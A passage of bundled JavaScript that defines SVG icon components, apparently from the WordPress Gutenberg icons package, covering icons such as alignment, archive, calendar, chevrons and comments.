  var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
  var add_submenu_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives4.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives4.Path, { d: &quot;M2 12c0 3.6 2.4 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.5 0-4.5-1.5-4.5-4s2-4.5 4.5-4.5h3.5V6H8c-3.6 0-6 2.4-6 6zm19.5-1h-8v1.5h8V11zm0 5h-8v1.5h8V16zm0-10h-8v1.5h8V6z&quot; }) });

  // packages/icons/build-module/library/align-center.mjs
  var import_primitives5 = __toESM(require_primitives(), 1);
  var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
  var align_center_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives5.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives5.Path, { d: &quot;M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z&quot; }) });

  // packages/icons/build-module/library/align-left.mjs
  var import_primitives6 = __toESM(require_primitives(), 1);
  var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
  var align_left_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives6.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives6.Path, { d: &quot;M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z&quot; }) });

  // packages/icons/build-module/library/align-none.mjs
  var import_primitives7 = __toESM(require_primitives(), 1);
  var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
  var align_none_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives7.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives7.Path, { d: &quot;M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z&quot; }) });

  // packages/icons/build-module/library/align-right.mjs
  var import_primitives8 = __toESM(require_primitives(), 1);
  var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
  var align_right_default = /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives8.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives8.Path, { d: &quot;M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z&quot; }) });

  // packages/icons/build-module/library/archive.mjs
  var import_primitives9 = __toESM(require_primitives(), 1);
  var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
  var archive_default = /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives9.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives9.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z&quot; }) });

  // packages/icons/build-module/library/audio.mjs
  var import_primitives10 = __toESM(require_primitives(), 1);
  var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
  var audio_default = /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives10.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives10.Path, { d: &quot;M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z&quot; }) });

  // packages/icons/build-module/library/block-default.mjs
  var import_primitives11 = __toESM(require_primitives(), 1);
  var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
  var block_default_default = /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives11.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives11.Path, { d: &quot;M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z&quot; }) });

  // packages/icons/build-module/library/block-table.mjs
  var import_primitives12 = __toESM(require_primitives(), 1);
  var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
  var block_table_default = /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives12.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives12.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z&quot; }) });

  // packages/icons/build-module/library/breadcrumbs.mjs
  var import_primitives13 = __toESM(require_primitives(), 1);
  var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
  var breadcrumbs_default = /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives13.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives13.Path, { d: &quot;M4 13.5h3v-3H4v3Zm6-3.5 2 2-2 2 1 1 3-3-3-3-1 1Zm7 .5v3h3v-3h-3Z&quot; }) });

  // packages/icons/build-module/library/button.mjs
  var import_primitives14 = __toESM(require_primitives(), 1);
  var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
  var button_default = /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives14.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives14.Path, { d: &quot;M8 12.5h8V11H8v1.5Z M19 6.5H5a2 2 0 0 0-2 2V15a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V8.5a2 2 0 0 0-2-2ZM5 8h14a.5.5 0 0 1 .5.5V15a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V8.5A.5.5 0 0 1 5 8Z&quot; }) });

  // packages/icons/build-module/library/buttons.mjs
  var import_primitives15 = __toESM(require_primitives(), 1);
  var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
  var buttons_default = /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives15.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives15.Path, { d: &quot;M14.5 17.5H9.5V16H14.5V17.5Z M14.5 8H9.5V6.5H14.5V8Z M7 3.5H17C18.1046 3.5 19 4.39543 19 5.5V9C19 10.1046 18.1046 11 17 11H7C5.89543 11 5 10.1046 5 9V5.5C5 4.39543 5.89543 3.5 7 3.5ZM17 5H7C6.72386 5 6.5 5.22386 6.5 5.5V9C6.5 9.27614 6.72386 9.5 7 9.5H17C17.2761 9.5 17.5 9.27614 17.5 9V5.5C17.5 5.22386 17.2761 5 17 5Z M7 13H17C18.1046 13 19 13.8954 19 15V18.5C19 19.6046 18.1046 20.5 17 20.5H7C5.89543 20.5 5 19.6046 5 18.5V15C5 13.8954 5.89543 13 7 13ZM17 14.5H7C6.72386 14.5 6.5 14.7239 6.5 15V18.5C6.5 18.7761 6.72386 19 7 19H17C17.2761 19 17.5 18.7761 17.5 18.5V15C17.5 14.7239 17.2761 14.5 17 14.5Z&quot; }) });

  // packages/icons/build-module/library/calendar.mjs
  var import_primitives16 = __toESM(require_primitives(), 1);
  var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
  var calendar_default = /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives16.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives16.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z&quot; }) });

  // packages/icons/build-module/library/caption.mjs
  var import_primitives17 = __toESM(require_primitives(), 1);
  var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
  var caption_default = /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives17.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives17.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M6 5.5h12a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5ZM4 6a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6Zm4 10h2v-1.5H8V16Zm5 0h-2v-1.5h2V16Zm1 0h2v-1.5h-2V16Z&quot; }) });

  // packages/icons/build-module/library/category.mjs
  var import_primitives18 = __toESM(require_primitives(), 1);
  var import_jsx_runtime19 = __toESM(require_jsx_runtime(), 1);
  var category_default = /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives18.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives18.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z&quot; }) });

  // packages/icons/build-module/library/chevron-down.mjs
  var import_primitives19 = __toESM(require_primitives(), 1);
  var import_jsx_runtime20 = __toESM(require_jsx_runtime(), 1);
  var chevron_down_default = /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives19.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives19.Path, { d: &quot;M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z&quot; }) });

  // packages/icons/build-module/library/chevron-left-small.mjs
  var import_primitives20 = __toESM(require_primitives(), 1);
  var import_jsx_runtime21 = __toESM(require_jsx_runtime(), 1);
  var chevron_left_small_default = /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives20.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives20.Path, { d: &quot;m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z&quot; }) });

  // packages/icons/build-module/library/chevron-left.mjs
  var import_primitives21 = __toESM(require_primitives(), 1);
  var import_jsx_runtime22 = __toESM(require_jsx_runtime(), 1);
  var chevron_left_default = /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives21.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives21.Path, { d: &quot;M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z&quot; }) });

  // packages/icons/build-module/library/chevron-right-small.mjs
  var import_primitives22 = __toESM(require_primitives(), 1);
  var import_jsx_runtime23 = __toESM(require_jsx_runtime(), 1);
  var chevron_right_small_default = /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives22.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives22.Path, { d: &quot;M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z&quot; }) });

  // packages/icons/build-module/library/chevron-right.mjs
  var import_primitives23 = __toESM(require_primitives(), 1);
  var import_jsx_runtime24 = __toESM(require_jsx_runtime(), 1);
  var chevron_right_default = /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives23.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives23.Path, { d: &quot;M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z&quot; }) });

  // packages/icons/build-module/library/chevron-up.mjs
  var import_primitives24 = __toESM(require_primitives(), 1);
  var import_jsx_runtime25 = __toESM(require_jsx_runtime(), 1);
  var chevron_up_default = /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives24.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives24.Path, { d: &quot;M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z&quot; }) });

  // packages/icons/build-module/library/classic.mjs
  var import_primitives25 = __toESM(require_primitives(), 1);
  var import_jsx_runtime26 = __toESM(require_jsx_runtime(), 1);
  var classic_default = /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives25.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives25.Path, { d: &quot;M20 6H4c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H4c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h16c.3 0 .5.2.5.5v9zM10 10H8v2h2v-2zm-5 2h2v-2H5v2zm8-2h-2v2h2v-2zm-5 6h8v-2H8v2zm6-4h2v-2h-2v2zm3 0h2v-2h-2v2zm0 4h2v-2h-2v2zM5 16h2v-2H5v2z&quot; }) });

  // packages/icons/build-module/library/close.mjs
  var import_primitives26 = __toESM(require_primitives(), 1);
  var import_jsx_runtime27 = __toESM(require_jsx_runtime(), 1);
  var close_default = /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives26.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives26.Path, { d: &quot;m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z&quot; }) });

  // packages/icons/build-module/library/code.mjs
  var import_primitives27 = __toESM(require_primitives(), 1);
  var import_jsx_runtime28 = __toESM(require_jsx_runtime(), 1);
  var code_default = /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives27.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives27.Path, { d: &quot;M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z&quot; }) });

  // packages/icons/build-module/library/column.mjs
  var import_primitives28 = __toESM(require_primitives(), 1);
  var import_jsx_runtime29 = __toESM(require_jsx_runtime(), 1);
  var column_default = /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives28.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives28.Path, { d: &quot;M19 6H6c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zM6 17.5c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h3v10H6zm13.5-.5c0 .3-.2.5-.5.5h-3v-10h3c.3 0 .5.2.5.5v9z&quot; }) });

  // packages/icons/build-module/library/columns.mjs
  var import_primitives29 = __toESM(require_primitives(), 1);
  var import_jsx_runtime30 = __toESM(require_jsx_runtime(), 1);
  var columns_default = /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(import_primitives29.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(import_primitives29.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M15 7.5h-5v10h5v-10Zm1.5 0v10H19a.5.5 0 0 0 .5-.5V8a.5.5 0 0 0-.5-.5h-2.5ZM6 7.5h2.5v10H6a.5.5 0 0 1-.5-.5V8a.5.5 0 0 1 .5-.5ZM6 6h13a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2Z&quot; }) });

  // packages/icons/build-module/library/comment-author-avatar.mjs
  var import_primitives30 = __toESM(require_primitives(), 1);
  var import_jsx_runtime31 = __toESM(require_jsx_runtime(), 1);
  var comment_author_avatar_default = /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(import_primitives30.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(import_primitives30.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z&quot; }) });

  // packages/icons/build-module/library/comment-author-name.mjs
  var import_primitives31 = __toESM(require_primitives(), 1);
  var import_jsx_runtime32 = __toESM(require_jsx_runtime(), 1);
  var comment_author_name_default = /* @__PURE__ */ (0, import_jsx_runtime32.jsxs)(import_primitives31.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M15 15V15C15 13.8954 14.1046 13 13 13L11 13C9.89543 13 9 13.8954 9 15V15&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Circle, { cx: &quot;12&quot;, cy: &quot;9&quot;, r: &quot;2&quot;, fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot; })
  ] });

  // packages/icons/build-module/library/comment-content.mjs
  var import_primitives32 = __toESM(require_primitives(), 1);
  var import_jsx_runtime33 = __toESM(require_jsx_runtime(), 1);
  var comment_content_default = /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_primitives32.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_primitives32.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M6.68822 16.625L5.5 17.8145L5.5 5.5L18.5 5.5L18.5 16.625L6.68822 16.625ZM7.31 18.125L19 18.125C19.5523 18.125 20 17.6773 20 17.125L20 5C20 4.44772 19.5523 4 19 4H5C4.44772 4 4 4.44772 4 5V19.5247C4 19.8173 4.16123 20.086 4.41935 20.2237C4.72711 20.3878 5.10601 20.3313 5.35252 20.0845L7.31 18.125ZM16 9.99997H8V8.49997H16V9.99997ZM8 14H13V12.5H8V14Z&quot; }) });

  // packages/icons/build-module/library/comment-edit-link.mjs
  var import_primitives33 = __toESM(require_primitives(), 1);
  var import_jsx_runtime34 = __toESM(require_jsx_runtime(), 1);
  var comment_edit_link_default = /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(import_primitives33.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(import_primitives33.Path, { d: &quot;m6.249 11.065.44-.44h3.186l-1.5 1.5H7.31l-1.957 1.96A.792.792 0 0 1 4 13.524V5a1 1 0 0 1 1-1h8a1 1 0 0 1 1 1v1.5L12.5 8V5.5h-7v6.315l.749-.75ZM20 19.75H7v-1.5h13v1.5Zm0-12.653-8.967 9.064L8 17l.867-2.935L17.833 5 20 7.097Z&quot; }) });

  // packages/icons/build-module/library/comment-reply-link.mjs
  var import_primitives34 = __toESM(require_primitives(), 1);
  var import_jsx_runtime35 = __toESM(require_jsx_runtime(), 1);
  var comment_reply_link_default = /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(import_primitives34.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(import_primitives34.Path, { d: &quot;M6.68822 10.625L6.24878 11.0649L5.5 11.8145L5.5 5.5L12.5 5.5V8L14 6.5V5C14 4.44772 13.5523 4 13 4H5C4.44772 4 4 4.44771 4 5V13.5247C4 13.8173 4.16123 14.086 4.41935 14.2237C4.72711 14.3878 5.10601 14.3313 5.35252 14.0845L7.31 12.125H8.375L9.875 10.625H7.31H6.68822ZM14.5605 10.4983L11.6701 13.75H16.9975C17.9963 13.75 18.7796 14.1104 19.3553 14.7048C19.9095 15.2771 20.2299 16.0224 20.4224 16.7443C20.7645 18.0276 20.7543 19.4618 20.7487 20.2544C20.7481 20.345 20.7475 20.4272 20.7475 20.4999L19.2475 20.5001C19.2475 20.4191 19.248 20.3319 19.2484 20.2394V20.2394C19.2526 19.4274 19.259 18.2035 18.973 17.1307C18.8156 16.5401 18.586 16.0666 18.2778 15.7483C17.9909 15.4521 17.5991 15.25 16.9975 15.25H11.8106L14.5303 17.9697L13.4696 19.0303L8.96956 14.5303L13.4394 9.50171L14.5605 10.4983Z&quot; }) });

  // packages/icons/build-module/library/comment.mjs
  var import_primitives35 = __toESM(require_primitives(), 1);
  var import_jsx_runtime36 = __toESM(require_jsx_runtime(), 1);
  var comment_default = /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_primitives35.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_primitives35.Path, { d: &quot;M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z&quot; }) });

  // packages/icons/build-module/library/contents.mjs
  var import_primitives36 = __toESM(require_primitives(), 1);
  var import_jsx_runtime37 = __toESM(require_jsx_runtime(), 1);
  var contents_default = /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_primitives36.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_primitives36.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M8.10417 6.00024H6.5C5.39543 6.00024 4.5 6.89567 4.5 8.00024V10.3336H6V8.00024C6 7.7241 6.22386 7.50024 6.5 7.50024H8.10417V6.00024ZM4.5 13.6669V16.0002C4.5 17.1048 5.39543 18.0002 6.5 18.0002H8.10417V16.5002H6.5C6.22386 16.5002 6 16.2764 6 16.0002V13.6669H4.5ZM10.3958 6.00024V7.50024H13.6042V6.00024H10.3958ZM15.8958 6.00024V7.50024H17.5C17.7761 7.50024 18 7.7241 18 8.00024V10.3336H19.5V8.00024C19.5 6.89567 18.6046 6.00024 17.5 6.00024H15.8958ZM19.5 13.6669H18V16.0002C18 16.2764 17.7761 16.5002 17.5 16.5002H15.8958V18.0002H17.5C18.6046 18.0002 19.5 17.1048 19.5 16.0002V13.6669ZM13.6042 18.0002V16.5002H10.3958V18.0002H13.6042Z&quot; }) });

  // packages/icons/build-module/library/cover.mjs
  var import_primitives37 = __toESM(require_primitives(), 1);
  var import_jsx_runtime38 = __toESM(require_jsx_runtime(), 1);
  var cover_default = /* @__PURE__ */ (0, import_jsx_runtime38.jsx)(import_primitives37.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime38.jsx)(import_primitives37.Path, { d: &quot;M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h6.2v8.9l2.5-3.1 2.5 3.1V4.5h2.2c.4 0 .8.4.8.8v13.4z&quot; }) });

  // packages/icons/build-module/library/crop.mjs
  var import_primitives38 = __toESM(require_primitives(), 1);
  var import_jsx_runtime39 = __toESM(require_jsx_runtime(), 1);
